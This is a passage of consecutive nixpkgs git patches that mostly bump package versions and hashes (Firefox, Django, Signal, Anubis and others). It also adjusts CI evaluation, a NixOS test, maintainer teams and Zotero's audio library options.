+      url = "https://archive.mozilla.org/pub/firefox/releases/139.0.4/mac/tl/Firefox%20139.0.4.dmg";
       locale = "tl";
       arch = "mac";
-      sha256 = "6d5d31adfcbb36e69cb81f56d305ab9929d2706e22ced6a104f80b84d449f37f";
+      sha256 = "6efe7c21216267dc62351512345ea66560bfd500f797976e7dc83e70b463ab1a";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/139.0.1/mac/tr/Firefox%20139.0.1.dmg";
+      url = "https://archive.mozilla.org/pub/firefox/releases/139.0.4/mac/tr/Firefox%20139.0.4.dmg";
       locale = "tr";
       arch = "mac";
-      sha256 = "fa3194f18780f33cb67df28c20dc75a726d2aa31792e03671c9e2848c5f803d2";
+      sha256 = "69c54d76eacbb12aa053530aa3ebe35e738b6f02023fa362bbe707a9177b6a58";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/139.0.1/mac/trs/Firefox%20139.0.1.dmg";
+      url = "https://archive.mozilla.org/pub/firefox/releases/139.0.4/mac/trs/Firefox%20139.0.4.dmg";
       locale = "trs";
       arch = "mac";
-      sha256 = "8196eae763439591b98f11de6685af6db3e776f6c478e8315d768d2395187dae";
+      sha256 = "ad940a6df0329b5b55f80e2c13365e2d72cf39ddf67b66cf1e9b3ff6d2f042cc";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/139.0.1/mac/uk/Firefox%20139.0.1.dmg";
+      url = "https://archive.mozilla.org/pub/firefox/releases/139.0.4/mac/uk/Firefox%20139.0.4.dmg";
       locale = "uk";
       arch = "mac";
-      sha256 = "8c66b35d7ddfbe0515c22eda7c625609b4d1c7e4b98deccf2c3bd766a1bec504";
+      sha256 = "704b38bd5112e439045cf10e560729371bb3c594087e6ac1aa446eefe966817a";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/139.0.1/mac/ur/Firefox%20139.0.1.dmg";
+      url = "https://archive.mozilla.org/pub/firefox/releases/139.0.4/mac/ur/Firefox%20139.0.4.dmg";
       locale = "ur";
       arch = "mac";
-      sha256 = "7ffe482db093fa473e21ead858cc47fc9a5349337103200b8c3bd2b4ba636d90";
+      sha256 = "b7a68c0c5563050a704f77d10507d09fc92a36ad04f39e4e5204f5adc5af3d5e";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/139.0.1/mac/uz/Firefox%20139.0.1.dmg";
+      url = "https://archive.mozilla.org/pub/firefox/releases/139.0.4/mac/uz/Firefox%20139.0.4.dmg";
       locale = "uz";
       arch = "mac";
-      sha256 = "efba670f42c3e9a1b471299b2c77f437660db4213cbc47e029a4c9531a6c222a";
+      sha256 = "d1d0176923c64b99c196b726c087e48ea077295a8fb9af86acd933e139d36cb2";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/139.0.1/mac/vi/Firefox%20139.0.1.dmg";
+      url = "https://archive.mozilla.org/pub/firefox/releases/139.0.4/mac/vi/Firefox%20139.0.4.dmg";
       locale = "vi";
       arch = "mac";
-      sha256 = "74b6f1e646e9cbc40402334bb9ff05625a3edb125783f3bdbfc2ef525e4e0706";
+      sha256 = "7a09f94b79b2ae9c2a49ed736dab4f7b4bdd8e247e07853be7162c5b2b4231df";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/139.0.1/mac/xh/Firefox%20139.0.1.dmg";
+      url = "https://archive.mozilla.org/pub/firefox/releases/139.0.4/mac/xh/Firefox%20139.0.4.dmg";
       locale = "xh";
       arch = "mac";
-      sha256 = "acfbcab5e0e6b43fb5a7061daaf18425bc573407a413b6d5cfd312a9f8691ca5";
+      sha256 = "143fddb9f5726fc718992cd102b76c28db3da234a94f673620bfc329db84b245";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/139.0.1/mac/zh-CN/Firefox%20139.0.1.dmg";
+      url = "https://archive.mozilla.org/pub/firefox/releases/139.0.4/mac/zh-CN/Firefox%20139.0.4.dmg";
       locale = "zh-CN";
       arch = "mac";
-      sha256 = "c05f05e9f112e0d848f21407592f683d569b5c50b849139386a07acf052f8079";
+      sha256 = "9bade8971332379a9fcf99aa9541a50fd3a3383797242dc0a7c459a1e4f6a1f2";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/139.0.1/mac/zh-TW/Firefox%20139.0.1.dmg";
+      url = "https://archive.mozilla.org/pub/firefox/releases/139.0.4/mac/zh-TW/Firefox%20139.0.4.dmg";
       locale = "zh-TW";
       arch = "mac";
-      sha256 = "c1253c7ae884c0b95ef467f8be3adc3550d88ec1e36c2cc0d491202a26d956bc";
+      sha256 = "d3ac4855f2c20fe0719ed01c7a6ad1821f9225f6753286a455e0f53dc5da699f";
     }
   ];
 }

From baf024b0922a4fbda3ef2b095d5d7cf324247bd8 Mon Sep 17 00:00:00 2001
From: Jade Lovelace <jadel@mercury.com>
Date: Tue, 10 Jun 2025 11:46:19 -0700
Subject: [PATCH 0839/4511] ci/eval: accept `nix` directly

Previously we were taking nixVersions and this made external use from
the Lix repo's CI annoying.

We should probably also test other nix versions than stable (i.e. also
latest and Lix), but this involves writing GitHub Actions about it and
maybe not running it on every single PR. Future work.

(cherry picked from commit 332bc64369e71fd6e65cf6cb7ae8d08f65b712da)
---
 ci/default.nix              |  8 +++++++-
 ci/eval/default.nix         | 16 +++++++++++-----
 lib/tests/test-with-nix.nix |  3 ++-
 3 files changed, 20 insertions(+), 7 deletions(-)

diff --git a/ci/default.nix b/ci/default.nix
index ec35121bb24b..cddea6453606 100644
--- a/ci/default.nix
+++ b/ci/default.nix
@@ -76,7 +76,13 @@ in
   inherit pkgs fmt;
   requestReviews = pkgs.callPackage ./request-reviews { };
   codeownersValidator = pkgs.callPackage ./codeowners-validator { };
-  eval = pkgs.callPackage ./eval { };
+
+  # FIXME(lf-): it might be useful to test other Nix implementations
+  # (nixVersions.stable and Lix) here somehow at some point to ensure we don't
+  # have eval divergence.
+  eval = pkgs.callPackage ./eval {
+    nix = pkgs.nixVersions.latest;
+  };
 
   # CI jobs
   lib-tests = import ../lib/tests/release.nix { inherit pkgs; };
diff --git a/ci/eval/default.nix b/ci/eval/default.nix
index cbb77bc89bd3..efe216c98f5c 100644
--- a/ci/eval/default.nix
+++ b/ci/eval/default.nix
@@ -1,15 +1,23 @@
+# Evaluates all the accessible paths in nixpkgs.
+# *This only builds on Linux* since it requires the Linux sandbox isolation to
+# be able to write in various places while evaluating inside the sandbox.
+#
+# This file is used by nixpkgs CI (see .github/workflows/eval.yml) as well as
+# being used directly as an entry point in Lix's CI (in `flake.nix` in the Lix
+# repo).
+#
+# If you know you are doing a breaking API change, please ping the nixpkgs CI
+# maintainers and the Lix maintainers (`nix eval -f . lib.teams.lix`).
 {
   callPackage,
   lib,
   runCommand,
   writeShellScript,
-  writeText,
   symlinkJoin,
   time,
   procps,
-  nixVersions,
+  nix,
   jq,
-  python3,
 }:
 
 let
@@ -31,8 +39,6 @@ let
       );
     };
 
-  nix = nixVersions.latest;
-
   supportedSystems = builtins.fromJSON (builtins.readFile ../supportedSystems.json);
 
   attrpathsSuperset =
diff --git a/lib/tests/test-with-nix.nix b/lib/tests/test-with-nix.nix
index 4f9aa53f83dd..d9089902a0a3 100644
--- a/lib/tests/test-with-nix.nix
+++ b/lib/tests/test-with-nix.nix
@@ -3,9 +3,10 @@
 
   IMPORTANT:
   This is used by the github.com/NixOS/nix CI.
+  This is used by Lix's CI (see flake.nix in the Lix repo).
 
   Try not to change the interface of this file, or if you need to, ping the
-  Nix maintainers for help. Thank you!
+  Nix AND Lix maintainers (`nix eval -f . lib.teams.lix`) for help. Thank you!
 */
 {
   pkgs,

From 57acd0fabe7a3ced49c0f769524aab81d03439a6 Mon Sep 17 00:00:00 2001
From: "R. Ryantm" <ryantm-bot@ryantm.com>
Date: Tue, 10 Jun 2025 05:56:03 +0000
Subject: [PATCH 0840/4511] firefox-beta-unwrapped: 140.0b4 -> 140.0b7

(cherry picked from commit 068e59184e6b50941dc93343b4632d8329f0de28)
---
 .../networking/browsers/firefox/packages/firefox-beta.nix     | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/pkgs/applications/networking/browsers/firefox/packages/firefox-beta.nix b/pkgs/applications/networking/browsers/firefox/packages/firefox-beta.nix
index 6133d8c87ebf..67203bb29859 100644
--- a/pkgs/applications/networking/browsers/firefox/packages/firefox-beta.nix
+++ b/pkgs/applications/networking/browsers/firefox/packages/firefox-beta.nix
@@ -10,11 +10,11 @@
 buildMozillaMach rec {
   pname = "firefox-beta";
   binaryName = pname;
-  version = "140.0b4";
+  version = "140.0b7";
   applicationName = "Firefox Beta";
   src = fetchurl {
     url = "mirror://mozilla/firefox/releases/${version}/source/firefox-${version}.source.tar.xz";
-    sha512 = "ec3d3377db8629742d428cceded3c7c92ba952f1b9cb6a15eae7f053213c3a377287a577c33b291a5e4d3cbbf918be52a31c3f4ac5f6d06c1f5edfc6312656fe";
+    sha512 = "51a9dad564bc20aaacec5bc8cfe05f7213d6fbc826783790bcb1067cbea7349a88f479df70f73501357625c6a239d33a10a840e7287d077771dc08b0fd9b076b";
   };
 
   meta = {

From a92f8e6af82a9fc5e138b2058622c0019ed681c0 Mon Sep 17 00:00:00 2001
From: Martin Weinelt <hexa@darmstadt.ccc.de>
Date: Wed, 11 Jun 2025 02:48:26 +0200
Subject: [PATCH 0841/4511] python3Packages.django_5_1: 5.1.10 -> 5.1.11

https://docs.djangoproject.com/en/5.1/releases/5.1.11/
https://www.djangoproject.com/weblog/2025/jun/10/bugfix-releases/

Fixes: CVE-2025-48432
(cherry picked from commit 789717801bd55e0e7248aebd3b93027be69cb80c)
---
 pkgs/development/python-modules/django/5.nix | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/pkgs/development/python-modules/django/5.nix b/pkgs/development/python-modules/django/5.nix
index e172fb2d652d..c872bd6f704a 100644
--- a/pkgs/development/python-modules/django/5.nix
+++ b/pkgs/development/python-modules/django/5.nix
@@ -44,7 +44,7 @@
 
 buildPythonPackage rec {
   pname = "django";
-  version = "5.1.10";
+  version = "5.1.11";
   pyproject = true;
 
   disabled = pythonOlder "3.10";
@@ -53,7 +53,7 @@ buildPythonPackage rec {
     owner = "django";
     repo = "django";
     rev = "refs/tags/${version}";
-    hash = "sha256-+VsTrlff1eBGaVBqRHNOivVXqBkfjZvY2dzawE1sOOQ=";
+    hash = "sha256-yHoK7NGa91QEVFLeHqJo126qNg1pTE7W6LEtbCLy4sw=";
   };
 
   patches =

From 22a197c9364060e4dfce7992a1790b65210ec0b1 Mon Sep 17 00:00:00 2001
From: Martin Weinelt <hexa@darmstadt.ccc.de>
Date: Wed, 11 Jun 2025 02:12:01 +0200
Subject: [PATCH 0842/4511] python3Packages.django_4: 4.2.22 -> 4.2.23

https://docs.djangoproject.com/en/4.2/releases/4.2.23/
https://www.djangoproject.com/weblog/2025/jun/10/bugfix-releases/

Fixes: CVE-2025-48432
(cherry picked from commit 15fc350a5ecb9b02ea2e518e7f35088f44fd380c)
---
 pkgs/development/python-modules/django/4.nix | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/pkgs/development/python-modules/django/4.nix b/pkgs/development/python-modules/django/4.nix
index 9630b88e51c8..a387637f8605 100644
--- a/pkgs/development/python-modules/django/4.nix
+++ b/pkgs/development/python-modules/django/4.nix
@@ -45,7 +45,7 @@
 
 buildPythonPackage rec {
   pname = "django";
-  version = "4.2.22";
+  version = "4.2.23";
   format = "pyproject";
 
   disabled = pythonOlder "3.8";
@@ -54,7 +54,7 @@ buildPythonPackage rec {
     owner = "django";
     repo = "django";
     rev = "refs/tags/${version}";
-    hash = "sha256-+kq3GF2Q8uaa+UsZK5uWQIyW9tSjfKAE+yiuDTSVwwA=";
+    hash = "sha256-h6VkMLg2XAVC0p+ItTs/2EqpYdZn9uNvv6ZwQHXP0bI=";
   };
 
   patches =

From 84c59988dec865e8a5bdc0ad7abd29b976c70f97 Mon Sep 17 00:00:00 2001
From: "R. Ryantm" <ryantm-bot@ryantm.com>
Date: Tue, 10 Jun 2025 19:32:43 +0000
Subject: [PATCH 0843/4511] libtpms: 0.10.0 -> 0.10.1

(cherry picked from commit 00031cc76b1dfd732bf99c2c68907501ad596f94)
---
 pkgs/by-name/li/libtpms/package.nix | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/pkgs/by-name/li/libtpms/package.nix b/pkgs/by-name/li/libtpms/package.nix
index 4deb7b7e261e..3d8b02318d72 100644
--- a/pkgs/by-name/li/libtpms/package.nix
+++ b/pkgs/by-name/li/libtpms/package.nix
@@ -10,13 +10,13 @@
 
 stdenv.mkDerivation rec {
   pname = "libtpms";
-  version = "0.10.0";
+  version = "0.10.1";
 
   src = fetchFromGitHub {
     owner = "stefanberger";
     repo = "libtpms";
     rev = "v${version}";
-    sha256 = "sha256-YKs/XYJ8UItOtSinl28/G9XFVzobFd4ZDKtClQDLXFk=";
+    sha256 = "sha256-uj06cAhepTOFxSeiBY/UVP/rtBQHLvrODe4ljU6ALOE=";
   };
 
   nativeBuildInputs = [

From 22a83dbd0ae6cb5f75811245d7d05ed6940dc9a7 Mon Sep 17 00:00:00 2001
From: tarneo <tarneo@tarneo.fr>
Date: Mon, 9 Jun 2025 13:22:48 +0200
Subject: [PATCH 0844/4511] qutebrowser: 3.5.0 -> 3.5.1

(cherry picked from commit 034b81c0eeb46271500b12f266fee47a6e0db659)
---
 pkgs/by-name/qu/qutebrowser/package.nix | 8 ++++----
 1 file changed, 4 insertions(+), 4 deletions(-)

diff --git a/pkgs/by-name/qu/qutebrowser/package.nix b/pkgs/by-name/qu/qutebrowser/package.nix
index 21b7878cb75b..bc9511bad8e0 100644
--- a/pkgs/by-name/qu/qutebrowser/package.nix
+++ b/pkgs/by-name/qu/qutebrowser/package.nix
@@ -25,15 +25,15 @@ let
   isQt6 = lib.versions.major qt6Packages.qtbase.version == "6";
   pdfjs =
     let
-      version = "5.1.91";
+      version = "5.3.31";
     in
     fetchzip {
       url = "https://github.com/mozilla/pdf.js/releases/download/v${version}/pdfjs-${version}-dist.zip";
-      hash = "sha256-e1zBpH9F8TI4ET4FvkxJsoOYVKLWJBP2KaNNC2kpaVk=";
+      hash = "sha256-8QNFCIRSaF0y98P1mmx0u+Uf0/Zd7nYlFGXp9SkURTc=";
       stripRoot = false;
     };
 
-  version = "3.5.0";
+  version = "3.5.1";
 in
 
 python3.pkgs.buildPythonApplication {
@@ -43,7 +43,7 @@ python3.pkgs.buildPythonApplication {
 
   src = fetchurl {
     url = "https://github.com/qutebrowser/qutebrowser/releases/download/v${version}/qutebrowser-${version}.tar.gz";
-    hash = "sha256-+hQsjRwoJbBotxs2BKiy1oLi7YShTD5ott54RDMdgLs=";
+    hash = "sha256-gmu6MooINXJI1eWob6qwpzZVSXQ5rVTSaeISBVkms44=";
   };
 
   # Needs tox

From 103b659614da3398c12328e23adf166d16f3d692 Mon Sep 17 00:00:00 2001
From: "R. Ryantm" <ryantm-bot@ryantm.com>
Date: Mon, 9 Jun 2025 11:31:05 +0000
Subject: [PATCH 0845/4511] github-runner: 2.324.0 -> 2.325.0

(cherry picked from commit 439c6da79ba8407140895fa5fb66db5d6f42f829)
---
 pkgs/by-name/gi/github-runner/package.nix | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/pkgs/by-name/gi/github-runner/package.nix b/pkgs/by-name/gi/github-runner/package.nix
index 70513147d8bc..70172aedfd6c 100644
--- a/pkgs/by-name/gi/github-runner/package.nix
+++ b/pkgs/by-name/gi/github-runner/package.nix
@@ -25,13 +25,13 @@ assert builtins.all (x: builtins.elem x [ "node20" ]) nodeRuntimes;
 
 buildDotnetModule (finalAttrs: {
   pname = "github-runner";
-  version = "2.324.0";
+  version = "2.325.0";
 
   src = fetchFromGitHub {
     owner = "actions";
     repo = "runner";
     tag = "v${finalAttrs.version}";
-    hash = "sha256-/ssjVM1Ujgp5JgeKZ7Tmngyy4V/bFcxTfakbPhnp6Co=";
+    hash = "sha256-Ic/+bdEfipyOB7jA+SXBuyET6ERu6ox+SdlLy4mbuqw=";
     leaveDotGit = true;
     postFetch = ''
       git -C $out rev-parse --short HEAD > $out/.git-revision

From 01ab47b630828f33500ba808f40eb2a97293302a Mon Sep 17 00:00:00 2001
From: "R. Ryantm" <ryantm-bot@ryantm.com>
Date: Tue, 10 Jun 2025 19:06:15 +0000
Subject: [PATCH 0846/4511] signal-desktop: 7.56.0 -> 7.56.1

(cherry picked from commit c3199bb7c0d6cc318a525c6923561f6c5e2b7b0d)
---
 pkgs/by-name/si/signal-desktop/package.nix | 6 +++---
 1 file changed, 3 insertions(+), 3 deletions(-)

diff --git a/pkgs/by-name/si/signal-desktop/package.nix b/pkgs/by-name/si/signal-desktop/package.nix
index 10c160447c3e..4c5d4921a33d 100644
--- a/pkgs/by-name/si/signal-desktop/package.nix
+++ b/pkgs/by-name/si/signal-desktop/package.nix
@@ -48,13 +48,13 @@ let
     '';
   });
 
-  version = "7.56.0";
+  version = "7.56.1";
 
   src = fetchFromGitHub {
     owner = "signalapp";
     repo = "Signal-Desktop";
     tag = "v${version}";
-    hash = "sha256-BrgBlDEgb08oX7Mh/P4nuoM+dkSDpB45zOtDNMYeZr0=";
+    hash = "sha256-zPoZ76ujS8H4ls7RW4bojRIKOrPRJPjdHJVAl1cH9vY=";
   };
 
   sticker-creator = stdenv.mkDerivation (finalAttrs: {
@@ -124,7 +124,7 @@ stdenv.mkDerivation (finalAttrs: {
   env = {
     ELECTRON_SKIP_BINARY_DOWNLOAD = "1";
     SIGNAL_ENV = "production";
-    SOURCE_DATE_EPOCH = 1748456277;
+    SOURCE_DATE_EPOCH = 1749072888;
   };
 
   preBuild = ''

From 7bc317458336c52392a582159e605374a72f1ff1 Mon Sep 17 00:00:00 2001
From: Ryan Omasta <git@ryand.ca>
Date: Tue, 3 Jun 2025 01:41:43 -0600
Subject: [PATCH 0847/4511] anubis{,-xess}: 1.18.0 -> 1.19.1

https://github.com/TecharoHQ/anubis/releases/tag/v1.19.1
Diff: https://github.com/TecharoHQ/anubis/compare/v1.18.0...v1.19.1
(cherry picked from commit d05a1115416aba5d3ba6f64598b0659d4327a9cc)
---
 pkgs/by-name/an/anubis-xess/package.nix | 2 +-
 pkgs/by-name/an/anubis/package.nix      | 6 +++---
 2 files changed, 4 insertions(+), 4 deletions(-)

diff --git a/pkgs/by-name/an/anubis-xess/package.nix b/pkgs/by-name/an/anubis-xess/package.nix
index 0b6a83cbaf2a..8165cf1e0c37 100644
--- a/pkgs/by-name/an/anubis-xess/package.nix
+++ b/pkgs/by-name/an/anubis-xess/package.nix
@@ -4,7 +4,7 @@ buildNpmPackage {
   pname = "${anubis.pname}-xess";
   inherit (anubis) version src;
 
-  npmDepsHash = "sha256-hTKTTBmfMGv6I+4YbWrOt6F+qD6ysVYi+DEC1konBFk=";
+  npmDepsHash = "sha256-wI8XCUGq3aI20B++RAT3lc/nBrDMEmE9+810lewzXa0=";
 
   buildPhase = ''
     runHook preBuild
diff --git a/pkgs/by-name/an/anubis/package.nix b/pkgs/by-name/an/anubis/package.nix
index 39393f755aaa..ef79b6d9a8ee 100644
--- a/pkgs/by-name/an/anubis/package.nix
+++ b/pkgs/by-name/an/anubis/package.nix
@@ -14,16 +14,16 @@
 
 buildGoModule (finalAttrs: {
   pname = "anubis";
-  version = "1.18.0";
+  version = "1.19.1";
 
   src = fetchFromGitHub {
     owner = "TecharoHQ";
     repo = "anubis";
     tag = "v${finalAttrs.version}";
-    hash = "sha256-grtzkNxgShbldjm+lnANbKVhkUrbwseAT1NaBL85mHg=";
+    hash = "sha256-aWdkPNwTD+ooaE0PazcOaama7k1a8n5pRxr8X6wm4zs=";
   };
 
-  vendorHash = "sha256-EOT/sdVINj9oO1jZHPYB3jQ+XApf9eCUKuMY0tV+vpg=";
+  vendorHash = "sha256-wJOGYOWFKep2IFzX+Hia9m1jPG+Rskg8Np9WfEc+TUY=";
 
   nativeBuildInputs = [
     esbuild

From 0c53b7ff2ec8bf2e3c7dc2de9963690d8e44ccd5 Mon Sep 17 00:00:00 2001
From: Ryan Omasta <git@ryand.ca>
Date: Mon, 9 Jun 2025 16:35:29 -0600
Subject: [PATCH 0848/4511] nixosTests.anubis: fix test

(cherry picked from commit a87b5d93deda1ae26f1c415b5016ce2684142113)
---
 nixos/tests/anubis.nix | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/nixos/tests/anubis.nix b/nixos/tests/anubis.nix
index e5f643ed1cca..630fe6203d61 100644
--- a/nixos/tests/anubis.nix
+++ b/nixos/tests/anubis.nix
@@ -99,7 +99,7 @@
     machine.succeed('curl -f http://basic.localhost | grep "it works"')
     machine.succeed('curl -f http://basic.localhost -H "User-Agent: Mozilla" | grep anubis')
     machine.succeed('curl -f http://basic.localhost/metrics | grep anubis_challenges_issued')
-    machine.succeed('curl -f -X POST http://basic.localhost/.within.website/x/cmd/anubis/api/make-challenge | grep challenge')
+    machine.succeed('curl -f -X POST http://basic.localhost/.within.website/x/cmd/anubis/api/make-challenge -d "redir=/" | grep challenge')
 
     # TCP mode
     machine.succeed('curl -f http://tcp.localhost -H "User-Agent: Mozilla" | grep anubis')

From 28b53c659dca56c4abcf0e47584e6da993c0c67b Mon Sep 17 00:00:00 2001
From: Ryan Omasta <git@ryand.ca>
Date: Mon, 9 Jun 2025 16:35:57 -0600
Subject: [PATCH 0849/4511] nixosTests.anubis: add ryand56 as maintainer

(cherry picked from commit 1f7bc4955242e6b8e1cfc1fef81b80fdff44bbf4)
---
 nixos/tests/anubis.nix | 1 +
 1 file changed, 1 insertion(+)

diff --git a/nixos/tests/anubis.nix b/nixos/tests/anubis.nix
index 630fe6203d61..05771339f4aa 100644
--- a/nixos/tests/anubis.nix
+++ b/nixos/tests/anubis.nix
@@ -4,6 +4,7 @@
   meta.maintainers = with lib.maintainers; [
     soopyc
     nullcube
+    ryand56
   ];
 
   nodes.machine =

From 5023662b2b809f23a918c377ccb4170680f2e981 Mon Sep 17 00:00:00 2001
From: "R. Ryantm" <ryantm-bot@ryantm.com>
Date: Sun, 8 Jun 2025 09:39:59 +0000
Subject: [PATCH 0850/4511] memos: 0.24.3 -> 0.24.4

(cherry picked from commit a64351a4d502e4063be87ad5fdfeb4704f3d049f)
---
 pkgs/by-name/me/memos/package.nix | 8 ++++----
 1 file changed, 4 insertions(+), 4 deletions(-)

diff --git a/pkgs/by-name/me/memos/package.nix b/pkgs/by-name/me/memos/package.nix
index 7a0ca3298dc1..f5285035ad3a 100644
--- a/pkgs/by-name/me/memos/package.nix
+++ b/pkgs/by-name/me/memos/package.nix
@@ -14,12 +14,12 @@
   protoc-gen-validate,
 }:
 let
-  version = "0.24.3";
+  version = "0.24.4";
   src = fetchFromGitHub {
     owner = "usememos";
     repo = "memos";
     rev = "v${version}";
-    hash = "sha256-lTMHUVrg3JzTneBh874tr0mbQPp7X3rMKrkOe+wcOL4=";
+    hash = "sha256-Vimc9Z6X1+UBm2UnNnlsYqXEnOV3JcEPm9SD3obKkLc=";
   };
 
   memos-protobuf-gen = stdenvNoCC.mkDerivation {
@@ -61,7 +61,7 @@ let
     pnpmDeps = pnpm.fetchDeps {
       inherit (finalAttrs) pname version src;
       sourceRoot = "${finalAttrs.src.name}/web";
-      hash = "sha256-ooiH13yzMTCSqzmZVvVy2jWoIfJecMlE6JkwcG5EV5k=";
+      hash = "sha256-AyQYY1vtBB6DTcieC7nw5aOOVuwESJSDs8qU6PGyaTw=";
     };
     pnpmRoot = "web";
     nativeBuildInputs = [
@@ -92,7 +92,7 @@ buildGoModule {
     memos-protobuf-gen
     ;
 
-  vendorHash = "sha256-SWpnsTdti3hD1alvItpXllTJHGxeKP8q7WD2nBzFG7o=";
+  vendorHash = "sha256-EzVgQpWJJA7EUKdnnnCIvecaOXg856f/WQyfV/WuWFU=";
 
   preBuild = ''
     rm -rf server/router/frontend/dist

From bd39618298f30cf036db872de1ea43641d5a0749 Mon Sep 17 00:00:00 2001
From: Thiago Kenji Okada <thiagokokada@gmail.com>
Date: Tue, 10 Jun 2025 18:47:48 +0100
Subject: [PATCH 0851/4511] maintainers/team-list: add nixos-rebuild team

(cherry picked from commit f92bc6c218df3fef1fe743ac5996375b91366646)
---
 maintainers/team-list.nix                        | 7 +++++++
 pkgs/by-name/ni/nixos-rebuild-ng/package.nix     | 3 ++-
 pkgs/os-specific/linux/nixos-rebuild/default.nix | 6 ++----
 3 files changed, 11 insertions(+), 5 deletions(-)

diff --git a/maintainers/team-list.nix b/maintainers/team-list.nix
index fd2734bc3a5a..5920fa688b68 100644
--- a/maintainers/team-list.nix
+++ b/maintainers/team-list.nix
@@ -921,6 +921,13 @@ with lib.maintainers;
     shortName = "NGI";
   };
 
+  nixos-rebuild = {
+    members = [ thiagokokada ];
+    scope = "Maintain nixos-rebuild(-ng).";
+    shortName = "nixos-rebuild";
+    enableFeatureFreezePing = true;
+  };
+
   node = {
     members = [ winter ];
     scope = "Maintain Node.js runtimes and build tooling.";
diff --git a/pkgs/by-name/ni/nixos-rebuild-ng/package.nix b/pkgs/by-name/ni/nixos-rebuild-ng/package.nix
index 7e1841ceb615..8590cc90549a 100644
--- a/pkgs/by-name/ni/nixos-rebuild-ng/package.nix
+++ b/pkgs/by-name/ni/nixos-rebuild-ng/package.nix
@@ -132,7 +132,8 @@ python3Packages.buildPythonApplication rec {
     description = "Rebuild your NixOS configuration and switch to it, on local hosts and remote";
     homepage = "https://github.com/NixOS/nixpkgs/tree/master/pkgs/by-name/ni/nixos-rebuild-ng";
     license = lib.licenses.mit;
-    maintainers = [ lib.maintainers.thiagokokada ];
+    maintainers = [ ];
+    teams = [ lib.teams.nixos-rebuild ];
     mainProgram = executable;
   };
 }
diff --git a/pkgs/os-specific/linux/nixos-rebuild/default.nix b/pkgs/os-specific/linux/nixos-rebuild/default.nix
index 8e8f7f44b103..13d0a6991133 100644
--- a/pkgs/os-specific/linux/nixos-rebuild/default.nix
+++ b/pkgs/os-specific/linux/nixos-rebuild/default.nix
@@ -81,10 +81,8 @@ substitute {
     description = "Rebuild your NixOS configuration and switch to it, on local hosts and remote";
     homepage = "https://github.com/NixOS/nixpkgs/tree/master/pkgs/os-specific/linux/nixos-rebuild";
     license = lib.licenses.mit;
-    maintainers = with lib.maintainers; [
-      Profpatsch
-      thiagokokada
-    ];
+    maintainers = [ lib.maintainers.Profpatsch ];
+    teams = [ lib.teams.nixos-rebuild ];
     mainProgram = "nixos-rebuild";
   };
 }

From bd66119ccd69b9cdab3f70926541d51a7220a99b Mon Sep 17 00:00:00 2001
From: CnTeng <rxsnakepi@gmail.com>
Date: Tue, 10 Jun 2025 23:59:31 +0800
Subject: [PATCH 0852/4511] zotero: fix cubeb init

(cherry picked from commit b316c7473036c4c3cd2a1733ce336d469a1855f9)
---
 pkgs/by-name/zo/zotero/linux.nix | 62 +++++++++++++++++++-------------
 1 file changed, 37 insertions(+), 25 deletions(-)

diff --git a/pkgs/by-name/zo/zotero/linux.nix b/pkgs/by-name/zo/zotero/linux.nix
index b82dd88bb6b3..8bcd771ca251 100644
--- a/pkgs/by-name/zo/zotero/linux.nix
+++ b/pkgs/by-name/zo/zotero/linux.nix
@@ -7,7 +7,6 @@
   fetchurl,
   wrapGAppsHook3,
   makeDesktopItem,
-  alsa-lib,
   atk,
   cairo,
   dbus-glib,
@@ -20,6 +19,14 @@
   libgbm,
   pango,
   pciutils,
+  alsaSupport ? true,
+  alsa-lib,
+  jackSupport ? true,
+  libjack2,
+  pulseSupport ? true,
+  libpulseaudio,
+  sndioSupport ? true,
+  sndio,
 }:
 
 stdenv.mkDerivation rec {
@@ -34,30 +41,35 @@ stdenv.mkDerivation rec {
   nativeBuildInputs = [ wrapGAppsHook3 ];
 
   libPath =
-    lib.makeLibraryPath [
-      alsa-lib
-      atk
-      cairo
-      dbus-glib
-      gdk-pixbuf
-      glib
-      gtk3
-      libGL
-      libva
-      xorg.libX11
-      xorg.libXcomposite
-      xorg.libXcursor
-      xorg.libXdamage
-      xorg.libXext
-      xorg.libXfixes
-      xorg.libXi
-      xorg.libXrandr
-      xorg.libXtst
-      xorg.libxcb
-      libgbm
-      pango
-      pciutils
-    ]
+    lib.makeLibraryPath (
+      [
+        atk
+        cairo
+        dbus-glib
+        gdk-pixbuf
+        glib
+        gtk3
+        libGL
+        libva
+        xorg.libX11
+        xorg.libXcomposite
+        xorg.libXcursor
+        xorg.libXdamage
+        xorg.libXext
+        xorg.libXfixes
+        xorg.libXi
+        xorg.libXrandr
+        xorg.libXtst
+        xorg.libxcb
+        libgbm
+        pango
+        pciutils
+      ]
+      ++ lib.optional alsaSupport alsa-lib
+      ++ lib.optional jackSupport libjack2
+      ++ lib.optional pulseSupport libpulseaudio
+      ++ lib.optional sndioSupport sndio
+    )
     + ":"
     + lib.makeSearchPathOutput "lib" "lib" [ stdenv.cc.cc ];
 

From 18c7ba4038365e44ba2805b990896943c846ea2b Mon Sep 17 00:00:00 2001
From: Marie Ramlow <me@nycode.dev>
Date: Tue, 10 Jun 2025 16:14:10 +0000
Subject: [PATCH 0853/4511] heroic-unwrapped: 2.17.1 -> 2.17.2

Changelog: https://github.com/Heroic-Games-Launcher/HeroicGamesLauncher/releases/tag/v2.17.2
(cherry picked from commit dc3f6c7ce24e3ba863acb87dcabaf8b58de70664)
---
 pkgs/by-name/he/heroic-unwrapped/package.nix | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/pkgs/by-name/he/heroic-unwrapped/package.nix b/pkgs/by-name/he/heroic-unwrapped/package.nix
index 944936fbe444..1722a58ebafa 100644
--- a/pkgs/by-name/he/heroic-unwrapped/package.nix
